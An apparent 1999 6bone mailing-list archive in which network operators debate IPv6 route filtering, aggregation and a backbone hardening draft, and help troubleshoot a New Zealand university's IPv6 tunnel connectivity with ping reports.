1) Still a couple of pTLA sites are using the obsolete BGP4MP
version incompatible to the RFC version of BGP4MP. The problems
are that this is undocumented (since it's been obsolete) and that
it can not be automatically detected. It would happen easily to
configure the both sides with the different versions. A BGP
session can be established, but the update formats are different.

2) There are a lot of route flapping even within the valid pTLA
space.  A long time ago, I tried to figure out the origins, but I
gave up to continue it for all the occasions. It keeps happening.

3) There are a couple of strange routes outside the 6bone pTLA
space drafting over the 6bone. We could get it covered by
imposing the routing policy rather than solving the real problem.

Masaki

>> From: Bob Fink <fink@es.net>
>> Subject: Re: Bad routes update
>> Date: Tue, 20 Jul 1999 16:22:34 -0700
>> Message-ID: <4.1.19990720110647.020d3de0@imap2.es.net>,<4.1.19990720110647.020d3de0@imap2.es.net>,<4.1.19990720110647.020d3de0@imap2.es.net>
>>
>> 6bone list in general,
>> 
>> Time for a long email on both the hardening effort and this very tough
>> multihoming issue and how it relates to the 6bone. Note, I am not claiming
>> to be an expert on either routing or multihoming problems (v4 or v6),
>> rather I'm trying to steer the 6bone activity so the v6 community gets the
>> most out of it.
>> 
>> The intent of Rob Rockell's "6bone hardening effort" draft
>> <http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-harden-00.txt> is
>> to make the 6bone more operationally robust, and (unstated) to make sure
>> the 6bone operates in the manner that the IPv6 development and standards
>> community envisions with the Aggregation based unicast addressing format
>> that established the TLA concept.
>> 
>> >From the draft:
>> 
>> >1. Abstract
>> >
>> >The 6Bone is an Ipv6 testbed to assist in the evolution and deployment  
>> >of IPv6. Because of this, it is important that the core backbone
>> >of the IPv6 network maintain stability, and that all operators have
>> >a common set of rules and guildelines by which to deploy IPv6 routing
>> >equipment. This document provides a set of guildelines for all IPv6
>> >routing equipment operators to use as a reference for efficient and stable
>> >deployment of IPv6 routing systems. As the complexity of the 6Bone grows,
>> >the adherence to a common set of rules becomes increasingly important in
>> >order for an efficient backbone to exist.
>> 
>> Regarding making the 6bone operationally robust, the current state of
>> routing policy (or lack thereof) combined with some sites that often don't
>> take adequate responsibility to configure and operate for reliable
>> production operation, leaves the 6bone very difficult to use for any real
>> production use. Though some parts of the 6bone world, say in Japan for the
>> WIDE project, run production, most don't do anything other than trade
>> routes and pings (and not too well at that). Please don't be offended if
>> you really do get production use out of your piece of the 6bone as I'm
>> referring to the larger whole (and what many of us observe from the traffic
>> we see).
>> 
>> I would venture to say the longer term aspect of an end-user site surviving
>> an ISP (pTLA) outage is not the primary issue at this time (yes, it's very
>> important for the future). Rather, just making a simple 6bone work
>> consistently and reliably is a first order high priority. Much work is
>> going on in this regard from the 6REN/6TAP to Rob's Hardening effort
>> (sanctioned by the 6bone/ngtrans community by the way).
>> 
>> So to the first order what Rob has proposed (and presented to the list and
>> in Oslo) are good engineering procedures to make a useful 6bone backone for
>> reliable operation.
>> 
>> Secondarily, we have a role related to the IPv6 development and standards
>> community to provide a viable testbed (proving ground) for ideas related to
>> future backbone operation. Having a coordinated effort to support this is
>> very important.
>> 
>> Everyone has recognized the problem with multi-homing in v6 for quite a
>> while, especially those folk participating in the IPng WG for the last few
>> years. I would generally characterize their view about the multi-homing
>> problem as it being a very hard problem, yet necessary to tackle or we will
>> have every /48 v6 prefix propagated in everyone's routing table.
>> 
>> So what to do. First and foremost, the IPng community is now focusing on
>> the multi-homing problem. There was a small team that decided to tackle it
>> between Minneapolis and Oslo, offline to the WG, who then reported on their
>> efforts to the IPng WG last week in Oslo. It is now viewed by the IPng WG
>> as the highest priority work going on and there will be a multi-day IPng
>> interim meeting on it before the Washington IETF meeting. Stay tuned to the
>> ipng list for reports and info on all this.
>> 
>> So, we need a 6bone that helps with this effort in the best way possible. I
>> believe that this means we agree to operate the 6bone backbone with rules
>> that are consistent with the current agreed IPng WG procedures as opposed
>> to just polluting our routing tables with everyones' routes.
>> 
>> Certainly one model for the 6bone (often suggested, I believe) is one of
>> real world operation (and competition) determining how it will work. I can
>> see that model possibly working in a real thriving fee for service
>> competitive IPv6 ISP world but we aren't even close to that point yet.
>> Also, we are less clear on many solutions to our problems yet, which is why
>> IPng work is underway on multihoming. So we need some discipline and method
>> to what we will try to do on the 6bone backbone.
>> 
>> 
>> Thus I propose that we, for now, implement Rob's proposed hardening rules
>> and don't try solve the multihoming issue by ad hoc methods for now. Then
>> we review the current ideas and proposals coming out of the IPng WG on this
>> over the next several months and entertain proposals for modifications to
>> our operating policies as necessary to try out new multihoming techniques
>> on the larger scale 6bone backbone. I definitely believe that to just allow
>> all routes to be accepted will lead to problems and certainly not to any
>> good long term solutions.
>> 
>> Soon enough, if we are wrong about how much we can do to solve the v6
>> multihoming problem, we can revert to the methods used in the v4 world.
>> Meanwhile I hope we will not only have a reliable backbone, but one that
>> can support new ideas from the v6 development and standards community.
>> 
>> 
>> I also agree with Rich Draves that debate on actual multihoming issues
>> should move to the ipng list as they are working it there, leaving just the
>> 6bone related stuff on the 6bone list. This is not to stifle the list at
>> all, rather to get those working on multihoming maximally involved in the
>> discussions.
>> 
>> 
>> I hope you will agree to support some version of what I've described above
>> so we can move ahead.
>> 
>> 
>> Comments to the list please.
>> 
>> Bob

From 6bone-owner  Wed Jul 21 13:02:00 1999
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Date: Wed, 21 Jul 1999 16:01:36 -0400 (EDT)
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To: Masaki Hirabaru <masaki@merit.edu>
cc: fink@es.net, 6bone@ISI.EDU
Subject: Re: Bad routes update
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->1) Still a couple of pTLA sites are using the obsolete BGP4MP
->version incompatible to the RFC version of BGP4MP. The problems
->are that this is undocumented (since it's been obsolete) and that
->it can not be automatically detected. It would happen easily to
->configure the both sides with the different versions. A BGP
->session can be established, but the update formats are different.

Implementation issue. While it should be corrected, I don't know that this
affects our ability to limit route annoucements to the aggregation model.

->2) There are a lot of route flapping even within the valid pTLA
->space.  A long time ago, I tried to figure out the origins, but I
->gave up to continue it for all the occasions. It keeps happening.

If we aggregate, I think we will see this diminish. many routes that flap
come from statics that point to interfaces that go down, etc... If we
aggregate, we won't see the affects of these, except in the case of yoru
IBGP, where you will want your own specifics.


->3) There are a couple of strange routes outside the 6bone pTLA
->space drafting over the 6bone. We could get it covered by
->imposing the routing policy rather than solving the real problem.

Filter them. That way, they will be gone. If you look closely enough, you
can see 10/8 v4 space around. You just have to filter it at your edges to
make sure it doesn't affect anyone. While I would personally like for these
people to fix the problem, in this case, you can only control your own
routing domain, thus going around them with a filter would be just as
handy, and effectively the same thing.

->
->Masaki
->
->>> From: Bob Fink <fink@es.net>
->>> Subject: Re: Bad routes update
->>> Date: Tue, 20 Jul 1999 16:22:34 -0700
->>> Message-ID: <4.1.19990720110647.020d3de0@imap2.es.net>,<4.1.19990720110647.020d3de0@imap2.es.net>,<4.1.19990720110647.020d3de0@imap2.es.net>
->>>
->>> 6bone list in general,
->>> 
->>> Time for a long email on both the hardening effort and this very tough
->>> multihoming issue and how it relates to the 6bone. Note, I am not claiming
->>> to be an expert on either routing or multihoming problems (v4 or v6),
->>> rather I'm trying to steer the 6bone activity so the v6 community gets the
->>> most out of it.
->>> 
->>> The intent of Rob Rockell's "6bone hardening effort" draft
->>> <http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-harden-00.txt> is
->>> to make the 6bone more operationally robust, and (unstated) to make sure
->>> the 6bone operates in the manner that the IPv6 development and standards
->>> community envisions with the Aggregation based unicast addressing format
->>> that established the TLA concept.
->>> 
->>> >From the draft:
->>> 
->>> >1. Abstract
->>> >
->>> >The 6Bone is an Ipv6 testbed to assist in the evolution and deployment  
->>> >of IPv6. Because of this, it is important that the core backbone
->>> >of the IPv6 network maintain stability, and that all operators have
->>> >a common set of rules and guildelines by which to deploy IPv6 routing
->>> >equipment. This document provides a set of guildelines for all IPv6
->>> >routing equipment operators to use as a reference for efficient and stable
->>> >deployment of IPv6 routing systems. As the complexity of the 6Bone grows,
->>> >the adherence to a common set of rules becomes increasingly important in
->>> >order for an efficient backbone to exist.
->>> 
->>> Regarding making the 6bone operationally robust, the current state of
->>> routing policy (or lack thereof) combined with some sites that often don't
->>> take adequate responsibility to configure and operate for reliable
->>> production operation, leaves the 6bone very difficult to use for any real
->>> production use. Though some parts of the 6bone world, say in Japan for the
->>> WIDE project, run production, most don't do anything other than trade
->>> routes and pings (and not too well at that). Please don't be offended if
->>> you really do get production use out of your piece of the 6bone as I'm
->>> referring to the larger whole (and what many of us observe from the traffic
->>> we see).
->>> 
->>> I would venture to say the longer term aspect of an end-user site surviving
->>> an ISP (pTLA) outage is not the primary issue at this time (yes, it's very
->>> important for the future). Rather, just making a simple 6bone work
->>> consistently and reliably is a first order high priority. Much work is
->>> going on in this regard from the 6REN/6TAP to Rob's Hardening effort
->>> (sanctioned by the 6bone/ngtrans community by the way).
->>> 
->>> So to the first order what Rob has proposed (and presented to the list and
->>> in Oslo) are good engineering procedures to make a useful 6bone backone for
->>> reliable operation.
->>> 
->>> Secondarily, we have a role related to the IPv6 development and standards
->>> community to provide a viable testbed (proving ground) for ideas related to
->>> future backbone operation. Having a coordinated effort to support this is
->>> very important.
->>> 
->>> Everyone has recognized the problem with multi-homing in v6 for quite a
->>> while, especially those folk participating in the IPng WG for the last few
->>> years. I would generally characterize their view about the multi-homing
->>> problem as it being a very hard problem, yet necessary to tackle or we will
->>> have every /48 v6 prefix propagated in everyone's routing table.
->>> 
->>> So what to do. First and foremost, the IPng community is now focusing on
->>> the multi-homing problem. There was a small team that decided to tackle it
->>> between Minneapolis and Oslo, offline to the WG, who then reported on their
->>> efforts to the IPng WG last week in Oslo. It is now viewed by the IPng WG
->>> as the highest priority work going on and there will be a multi-day IPng
->>> interim meeting on it before the Washington IETF meeting. Stay tuned to the
->>> ipng list for reports and info on all this.
->>> 
->>> So, we need a 6bone that helps with this effort in the best way possible. I
->>> believe that this means we agree to operate the 6bone backbone with rules
->>> that are consistent with the current agreed IPng WG procedures as opposed
->>> to just polluting our routing tables with everyones' routes.
->>> 
->>> Certainly one model for the 6bone (often suggested, I believe) is one of
->>> real world operation (and competition) determining how it will work. I can
->>> see that model possibly working in a real thriving fee for service
->>> competitive IPv6 ISP world but we aren't even close to that point yet.
->>> Also, we are less clear on many solutions to our problems yet, which is why
->>> IPng work is underway on multihoming. So we need some discipline and method
->>> to what we will try to do on the 6bone backbone.
->>> 
->>> 
->>> Thus I propose that we, for now, implement Rob's proposed hardening rules
->>> and don't try solve the multihoming issue by ad hoc methods for now. Then
->>> we review the current ideas and proposals coming out of the IPng WG on this
->>> over the next several months and entertain proposals for modifications to
->>> our operating policies as necessary to try out new multihoming techniques
->>> on the larger scale 6bone backbone. I definitely believe that to just allow
->>> all routes to be accepted will lead to problems and certainly not to any
->>> good long term solutions.
->>> 
->>> Soon enough, if we are wrong about how much we can do to solve the v6
->>> multihoming problem, we can revert to the methods used in the v4 world.
->>> Meanwhile I hope we will not only have a reliable backbone, but one that
->>> can support new ideas from the v6 development and standards community.
->>> 
->>> 
->>> I also agree with Rich Draves that debate on actual multihoming issues
->>> should move to the ipng list as they are working it there, leaving just the
->>> 6bone related stuff on the 6bone list. This is not to stifle the list at
->>> all, rather to get those working on multihoming maximally involved in the
->>> discussions.
->>> 
->>> 
->>> I hope you will agree to support some version of what I've described above
->>> so we can move ahead.
->>> 
->>> 
->>> Comments to the list please.
->>> 
->>> Bob
->


From 6bone-owner  Wed Jul 21 13:55:22 1999
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To: rrockell@sprint.net
Cc: fink@es.net, 6bone@ISI.EDU
Subject: Re: Bad routes update
In-Reply-To: <Pine.GSO.3.96.990721155727.17031C-100000@iscone>
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	<Pine.GSO.3.96.990721155727.17031C-100000@iscone>
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>> ->2) There are a lot of route flapping even within the valid pTLA
>> ->space.  A long time ago, I tried to figure out the origins, but I
>> ->gave up to continue it for all the occasions. It keeps happening.
>> 
>> If we aggregate, I think we will see this diminish. many routes that flap
>> come from statics that point to interfaces that go down, etc... If we
>> aggregate, we won't see the affects of these, except in the case of yoru
>> IBGP, where you will want your own specifics.

I don't think that most of the flapping on 6bone comes from
interface up/down. And, pTLA routes are flapping, so we can not
diminish them by aggregation.

>> ->3) There are a couple of strange routes outside the 6bone pTLA
>> ->space drafting over the 6bone. We could get it covered by
>> ->imposing the routing policy rather than solving the real problem.
>> 
>> Filter them. That way, they will be gone. If you look closely enough, you
>> can see 10/8 v4 space around. You just have to filter it at your edges to
>> make sure it doesn't affect anyone. While I would personally like for these
>> people to fix the problem, in this case, you can only control your own
>> routing domain, thus going around them with a filter would be just as
>> handy, and effectively the same thing.

Let me explain how they are strange. They have a strange as path
and are flapping. It would indicate something wrong on 6bone.

If the routing policy intends to solve the current 6bone routing
issues, it would not work.  It will just decrease the size of
routing table but may introduce another complexity that may make
it harder to catch the real problems.

Masaki

From 6bone-owner  Wed Jul 21 16:08:09 1999
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Date: Wed, 21 Jul 1999 16:07:59 -0700
To: 6bone@ISI.EDU, Masaki Hirabaru <masaki@merit.edu>
From: Bob Fink <fink@es.net>
Subject: Re: Bad routes update
In-Reply-To: <19990721135313F.masaki@merit.edu>
References: <4.1.19990720110647.020d3de0@imap2.es.net>
 <19990720213333.D62668@clear.co.nz>
 <874sizzalm.fsf@jekyll.piermont.com>
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Masaki,

At 01:53 PM 7/21/99 -0400, Masaki Hirabaru wrote:
>Hi. Bob and all,
>
>>> Regarding making the 6bone operationally robust, the current state of
>>> routing policy (or lack thereof) combined with some sites that often don't
>>> take adequate responsibility to configure and operate for reliable
>>> production operation, leaves the 6bone very difficult to use for any real
>>> production use.
>
>Do you really think enforcing the routing policy leads to
>hardening (solving the current routing issues)?  It will cut a
>couple of multi-homed sites to make the 6bone topology simple and
>decrease the number of routing table entries from ~200 to ~170 as
>well as other bogus routes by a few. But, I don't think it will
>help to improve the current state of routing reliability.
>
>Introducing the routing policy at each pTLA routers increases the
>complexity of 6bone routing (in configuration by hand).  Before
>practicing the complex routing policy (that may be called a
>real-world practice), don't we have a couple of things to do?
>
>1) Still a couple of pTLA sites are using the obsolete BGP4MP
>version incompatible to the RFC version of BGP4MP. The problems
>are that this is undocumented (since it's been obsolete) and that
>it can not be automatically detected. It would happen easily to
>configure the both sides with the different versions. A BGP
>session can be established, but the update formats are different.
>
>2) There are a lot of route flapping even within the valid pTLA
>space.  A long time ago, I tried to figure out the origins, but I
>gave up to continue it for all the occasions. It keeps happening.
>
>3) There are a couple of strange routes outside the 6bone pTLA
>space drafting over the 6bone. We could get it covered by
>imposing the routing policy rather than solving the real problem.
>

I agree with your points in general. Note that the Hardening draft covers
most of this in the context of requiring stable practice and good
operational support to be a pTLA. My worry is not in reducing routing table
entries at this stage of the 6bone, rather encouraging a discipline on the
6bone of good policy and good practice. 

If we agree in prinicpal on the draft, and each pTLA implements it in
general, with the goal of a production quality network, we will start to
identify (and force changes on) the unreliable pTLAs.

I believe that a quality production backbone environment is what we are
after now, with most of the testing occurring at sites. 

We have had little or no comment on Rob's Hardening draft to date, so I
would encourage everyone to read it, make comments and improvements to it
(to the list please).

	<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-harden-00.txt>


Bob




From 6bone-owner  Wed Jul 21 17:04:18 1999
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Date: Wed, 21 Jul 1999 20:04:09 -0400 (EDT)
From: Robert Rockell <rrockell@sprint.net>
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To: Bob Fink <fink@es.net>
cc: 6bone@ISI.EDU, Masaki Hirabaru <masaki@merit.edu>
Subject: Re: Bad routes update
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Please send comments. I have just submitted -01.txt, so see that soon. I
will give two weeks, and submit -02.txt

Changes: added statement regarding 6to4 (kept ambiguous so as to not impede
its development, from a routing perspective). 

Added in a statement about multi-homing directly, to indicate future
flexibility should the multi-homing solution need testing.

Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833
Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?

On Wed, 21 Jul 1999, Bob Fink wrote:

->Masaki,
->
->At 01:53 PM 7/21/99 -0400, Masaki Hirabaru wrote:
->>Hi. Bob and all,
->>
->>>> Regarding making the 6bone operationally robust, the current state of
->>>> routing policy (or lack thereof) combined with some sites that often don't
->>>> take adequate responsibility to configure and operate for reliable
->>>> production operation, leaves the 6bone very difficult to use for any real
->>>> production use.
->>
->>Do you really think enforcing the routing policy leads to
->>hardening (solving the current routing issues)?  It will cut a
->>couple of multi-homed sites to make the 6bone topology simple and
->>decrease the number of routing table entries from ~200 to ~170 as
->>well as other bogus routes by a few. But, I don't think it will
->>help to improve the current state of routing reliability.
->>
->>Introducing the routing policy at each pTLA routers increases the
->>complexity of 6bone routing (in configuration by hand).  Before
->>practicing the complex routing policy (that may be called a
->>real-world practice), don't we have a couple of things to do?
->>
->>1) Still a couple of pTLA sites are using the obsolete BGP4MP
->>version incompatible to the RFC version of BGP4MP. The problems
->>are that this is undocumented (since it's been obsolete) and that
->>it can not be automatically detected. It would happen easily to
->>configure the both sides with the different versions. A BGP
->>session can be established, but the update formats are different.
->>
->>2) There are a lot of route flapping even within the valid pTLA
->>space.  A long time ago, I tried to figure out the origins, but I
->>gave up to continue it for all the occasions. It keeps happening.
->>
->>3) There are a couple of strange routes outside the 6bone pTLA
->>space drafting over the 6bone. We could get it covered by
->>imposing the routing policy rather than solving the real problem.
->>
->
->I agree with your points in general. Note that the Hardening draft covers
->most of this in the context of requiring stable practice and good
->operational support to be a pTLA. My worry is not in reducing routing table
->entries at this stage of the 6bone, rather encouraging a discipline on the
->6bone of good policy and good practice. 
->
->If we agree in prinicpal on the draft, and each pTLA implements it in
->general, with the goal of a production quality network, we will start to
->identify (and force changes on) the unreliable pTLAs.
->
->I believe that a quality production backbone environment is what we are
->after now, with most of the testing occurring at sites. 
->
->We have had little or no comment on Rob's Hardening draft to date, so I
->would encourage everyone to read it, make comments and improvements to it
->(to the list please).
->
->	<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-harden-00.txt>
->
->
->Bob
->
->
->


From 6bone-owner  Wed Jul 21 17:57:12 1999
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	Thu, 22 Jul 1999 12:56:35 +1200 (NZST)
	(envelope-from jabley)
Date: Thu, 22 Jul 1999 12:56:35 +1200
From: Joe Abley <jabley@clear.co.nz>
To: 6bone@ISI.EDU
Cc: Kerry Baker <k.baker@cantva.canterbury.ac.nz>
Subject: Could someone give me a hand with this?
Message-ID: <19990722125634.A93744@clear.co.nz>
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Hi all,

I have just been working with Canterbury University here in NZ trying
to get them connected to the 6bone -- everything is looking good between
us and them, but they seem to be having problems getting traffic from
the rest of the network routed back to them.

If someone could let me know how this looks from ourside our AS, I'd
be very grateful. In particular, could people could let me know whether
they can ping the following addresses?

  3FFE:2900:FFE1::0
  3FFE:2900:B:C::2
  3FFE:2900:FFE1::2
  3FFE:2900:FFE1::3
  3FFE:2900:FFE1:1::1


More elaborately:

We are AS4768, and are announcing 3FFE:2900:FFE1::0/48 to Sprint using
BGP4+ with origin 4768. This address block is part of Sprint's /24, and
was delegated to me by Rob when he kindly set up our tunnel.


  AS6175 (Sprint) --------- AS4768 (CLEAR) --------- AS9432 (Canterbury)


Our tunnel to Sprint has endpoints 3FFE:2900:B:C::2/64 (our side) and
  3FFE:2900:B:C::1/64 (Sprint side).

Our tunnel to Canterbury has endpoints 3FFE:2900:FFE1::2/127 (our side)
  and 3FFE:2900:FFE1::3/127 (Canty side).

I have delegated 3FFE:2900:FFE1:1::0/64 to Canterbury, and they are
  advertising it to us using BGP4+ with origin 9432.

We are sending Canterbury a full route table, and are filtering what
  they are sending us (restricting to just 3FFE:2900:FFE1:1::0/64).

We are filtering the advertisements we send to Sprint (and others)
  (restricting to just 3FFE:2900:FFE1::0/48).


>From Canterbury's router:

  o  we can ping 3FFE:2900:FFE1::2 (CLEAR's router's tunnel interface)

  o  we can see the full 6bone routing table, including Sprint's /24

  o  we can get no ping replies from 3FFE:2900:B:C::1 which is Sprint's
     side of our tunnel to Sprint.


>From CLEAR's router:

  o  we can ping 3FFE:2900:FFE1::3 (Canterbury's router's tunnel interface)

  o  we can see the full 6bone routing table, including Sprint's /24
     and Canterbury's /64

  o  we can ping everybody (within reason :)

When Canterbury is pinging, I can see the packets on a debug trace on the
CLEAR router with source address 3FFE:2900:FFE1::3. I don't see any
replies, though.

Canterbury's router is a cisco 2514 running (C2500-TIPV6-M), Experimental
  Version 11.3(19980421:205904) [raj-ipv6 223].

CLEAR's router is a cisco 1603 running (C1600-YIPV6-M), Experimental
  Version 11.3(19980421:205904) [raj-ipv6 228]


Thanks in anticipation,


Joe


From 6bone-owner  Wed Jul 21 19:22:26 1999
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To: perry@piermont.com
Cc: Magnus Ahltorp <map@stacken.kth.se>, Joe Abley <jabley@clear.co.nz>,
        Craig Metz <cmetz@inner.net>, Richard Draves <richdr@microsoft.com>,
        6bone@ISI.EDU
Subject: Re: Bad routes update
References: <4D0A23B3F74DD111ACCD00805F31D810145155E7@RED-MSG-50> <199907200655.GAA26375@inner.net> <19990720213333.D62668@clear.co.nz> <ixdu2qzno71.fsf@squid.pdc.kth.se> <87btd6uc6w.fsf@jekyll.piermont.com>
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Date: 22 Jul 1999 04:21:31 +0200
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> > Do you really think that there are only 80000 sites that want to be
> > multi-homed?
> 
> Right now, there don't seem to be any real restrictions on the
> practice in v4 land other than taste, and yet, we aren't overwhelmed
> yet. I suspect that the desire will not expand faster than Moore's
> Law. 

Does Moore's Law increase the number of available AS numbers also?

/Magnus

From 6bone-owner  Wed Jul 21 22:04:18 1999
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To: Bob Fink <fink@es.net>
cc: 6bone@ISI.EDU
Subject: INPUT draft-ietf-ngtrans-harden-00.txt
Date: Thu, 22 Jul 1999 01:04:07 -0400
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Hi Bob,

>If we agree in prinicpal on the draft, and each pTLA implements it in
>general, with the goal of a production quality network, we will start to
>identify (and force changes on) the unreliable pTLAs.

I have spent the evening with the draft on hardening and have given this
a lot of thought and just read Steve's mail to the IPng list.  I think
we need to move forward with the draft, whatever that means, are we
talking BCP or Informational?

>I believe that a quality production backbone environment is what we are
>after now, with most of the testing occurring at sites. 

I agree and I can't believe anyone can live without sending non-Provider
upstream advertisements for now as stated in the harden draft.  I think
this is fine for now.

>We have had little or no comment on Rob's Hardening draft to date, so I
>would encourage everyone to read it, make comments and improvements to it
>(to the list please).

>	<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-harden-00.txt>

I think its an excellent piece of work and document to read.  Very well
structured and very clear on what the rules are so all the pTLAs and the
pNLAs should be pretty clear on what filtering means.  If one does not
know what lead and filltering means then they should not be implementing
the draft most likely.  So it might be good up front to say the
background a reader should have to read this draft, if customer X picks
it up because they are reading all the IPv6 specs (and some do) they
might want a hint that they should get their network operator folks to
parse this spec if they are not of that discipline.

Its intuitive to me being around IPv6 and the GSE meetings and
discussions and I have a bias to favor |absolute| aggregation as I did
in those discussions.  But it might be nice to add a paragraph on what
that means as some of the intense discussion was willing to give up
aggregation to solve a need rather quickly IMO.  

My head jerked on not advertising link-local addresses in an IGP at first 
because we need to survive renumbering in an IGP as we test that function.  
But we do permit adv's of sitelocal addresses  and that will work too.  
For the case where all the prefixes are really dead at a site and new
ones were not provided during the renumbering phase fast enough through
some SNAFU or something via administration at the border routers.  In
that case sitelocal addresses will be very useful.

I have not looked at the OSPFv6 stuff for awhile but it used to provide
linklocal addresses to adjacent nodes.  So I am not sure this applies or
still the case as OSPFv6 was not in the hardening draft.  But I will
check eventually.

I also think the authors did a good job of focusing on where this
applies.

My input is its fine and we should move on here.

Good Job to you and the authors,
/jim



From 6bone-owner  Wed Jul 21 22:22:41 1999
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Date: Thu, 22 Jul 1999 15:22:17 +1000 (EST)
From: Peter Tattam <peter@jazz-1.trumpet.com.au>
To: Masaki Hirabaru <masaki@merit.edu>
cc: rrockell@sprint.net, fink@es.net, 6bone@ISI.EDU
Subject: Re: Bad routes update
In-Reply-To: <19990721165514F.masaki@merit.edu>
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On Wed, 21 Jul 1999, Masaki Hirabaru wrote:

> >> ->2) There are a lot of route flapping even within the valid pTLA
> >> ->space.  A long time ago, I tried to figure out the origins, but I
> >> ->gave up to continue it for all the occasions. It keeps happening.
> >> 
> >> If we aggregate, I think we will see this diminish. many routes that flap
> >> come from statics that point to interfaces that go down, etc... If we
> >> aggregate, we won't see the affects of these, except in the case of yoru
> >> IBGP, where you will want your own specifics.
> 
> I don't think that most of the flapping on 6bone comes from
> interface up/down. And, pTLA routes are flapping, so we can not
> diminish them by aggregation.

My guess it's a result of having to use tunnels over Ipv4.  Some of the Ipv4
network is unstable IMHO, and this could be reflected into the 6bone.  I don't
think this is coincidental as I suspect that a significant body of users
deploying IPv6 are doing so because of their own perceived instability of IPv4
services.  We for one experience this - our backbone provider won't give us an
honest answer as to what the problem is, and is indicative of the way things
really are.  For some regions, choice of backbone provider is limited too, so
letting the market decide is not a complete answer.

Peter

> 
> >> ->3) There are a couple of strange routes outside the 6bone pTLA
> >> ->space drafting over the 6bone. We could get it covered by
> >> ->imposing the routing policy rather than solving the real problem.
> >> 
> >> Filter them. That way, they will be gone. If you look closely enough, you
> >> can see 10/8 v4 space around. You just have to filter it at your edges to
> >> make sure it doesn't affect anyone. While I would personally like for these
> >> people to fix the problem, in this case, you can only control your own
> >> routing domain, thus going around them with a filter would be just as
> >> handy, and effectively the same thing.
> 
> Let me explain how they are strange. They have a strange as path
> and are flapping. It would indicate something wrong on 6bone.
> 
> If the routing policy intends to solve the current 6bone routing
> issues, it would not work.  It will just decrease the size of
> routing table but may introduce another complexity that may make
> it harder to catch the real problems.
> 
> Masaki
> 

--
Peter R. Tattam                            peter@trumpet.com
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210


From 6bone-owner  Thu Jul 22 00:13:25 1999
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Date: Thu, 22 Jul 1999 10:13:12 +0300 (EET DST)
From: Sami P <sponkane@cc.hut.fi>
To: Joe Abley <jabley@clear.co.nz>
cc: 6bone@ISI.EDU
Subject: Re: Could someone give me a hand with this?
In-Reply-To: <19990722125634.A93744@clear.co.nz>
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On Thu, 22 Jul 1999, Joe Abley wrote:

> Hi all,
> 
> If someone could let me know how this looks from ourside our AS, I'd
> be very grateful. In particular, could people could let me know whether
> they can ping the following addresses?
> 
>   3FFE:2900:FFE1::0
>   3FFE:2900:B:C::2
>   3FFE:2900:FFE1::2
>   3FFE:2900:FFE1::3
>   3FFE:2900:FFE1:1::1

Hi,
The first three addresses reply to a ping but the rest do not.

Sami


PING 3FFE:2900:FFE1::0 (3ffe:2900:ffe1::): 56 data bytes
64 bytes from 3ffe:2900:ffe1::: icmp_seq=0 ttl=252 time=982.49 ms
64 bytes from 3ffe:2900:ffe1::: icmp_seq=1 ttl=252 time=977.427 ms
64 bytes from 3ffe:2900:ffe1::: icmp_seq=2 ttl=252 time=991.973 ms
64 bytes from 3ffe:2900:ffe1::: icmp_seq=3 ttl=252 time=978.168 ms
64 bytes from 3ffe:2900:ffe1::: icmp_seq=4 ttl=252 time=980.387 ms
--- 3FFE:2900:FFE1::0 ping statistics ---
6 packets transmitted, 5 packets received, 16% packet loss
round-trip min/avg/max = 977.427/982.088/991.973 ms


PING 3FFE:2900:B:C::2 (3ffe:2900:b:c::2): 56 data bytes
64 bytes from 3ffe:2900:b:c::2: icmp_seq=0 ttl=252 time=995.445 ms
64 bytes from 3ffe:2900:b:c::2: icmp_seq=1 ttl=252 time=733.917 ms
64 bytes from 3ffe:2900:b:c::2: icmp_seq=2 ttl=252 time=737.607 ms
64 bytes from 3ffe:2900:b:c::2: icmp_seq=3 ttl=252 time=751.693 ms
64 bytes from 3ffe:2900:b:c::2: icmp_seq=4 ttl=252 time=753.953 ms
--- 3FFE:2900:B:C::2 ping statistics ---
6 packets transmitted, 5 packets received, 16% packet loss
round-trip min/avg/max = 733.917/794.523/995.445 ms


PING 3FFE:2900:FFE1::2 (3ffe:2900:ffe1::2): 56 data bytes
64 bytes from 3ffe:2900:ffe1::2: icmp_seq=0 ttl=252 time=982.57 ms
64 bytes from 3ffe:2900:ffe1::2: icmp_seq=1 ttl=252 time=994.346 ms
64 bytes from 3ffe:2900:ffe1::2: icmp_seq=2 ttl=252 time=1072.11 ms
64 bytes from 3ffe:2900:ffe1::2: icmp_seq=3 ttl=252 time=1005.99 ms
--- 3FFE:2900:FFE1::2 ping statistics ---
5 packets transmitted, 4 packets received, 20% packet loss
round-trip min/avg/max = 982.57/1013.75/1072.11 ms


PING 3FFE:2900:FFE1::3 (3ffe:2900:ffe1::3): 56 data bytes
--- 3FFE:2900:FFE1::3 ping statistics ---
13 packets transmitted, 0 packets received, 100% packet loss


PING 3FFE:2900:FFE1:1::1 (3ffe:2900:ffe1:1::1): 56 data bytes
--- 3FFE:2900:FFE1:1::1 ping statistics ---
20 packets transmitted, 0 packets received, 100% packet loss



From 6bone-owner  Thu Jul 22 02:56:42 1999
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From: Robert Milkowski <milek@rudy.mif.pg.gda.pl>
To: Joe Abley <jabley@clear.co.nz>
cc: 6bone@ISI.EDU, Kerry Baker <k.baker@cantva.canterbury.ac.nz>
Subject: Re: Could someone give me a hand with this?
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On Thu, 22 Jul 1999, Joe Abley wrote:

> If someone could let me know how this looks from ourside our AS, I'd
> be very grateful. In particular, could people could let me know whether
> they can ping the following addresses?
> 
>   3FFE:2900:FFE1::0

ok

>   3FFE:2900:B:C::2

ok

>   3FFE:2900:FFE1::2

ok

>   3FFE:2900:FFE1::3

no response

>   3FFE:2900:FFE1:1::1

no response


-------------------------------------------------------------------------------
A1240D 18MB EDO RAM + HD 2.5GB + CD +...                 Student of
mail to: milek@rudy.mif.pg.gda.pl             Technical University of Gdansk
    Happy owner of Amiga              Milek     Faculty of Applied Physics
-------------------------------------------------------------------------------


From 6bone-owner  Thu Jul 22 06:43:49 1999
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Cc: Joe Abley <jabley@clear.co.nz>, Craig Metz <cmetz@inner.net>,
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Subject: Re: Bad routes update
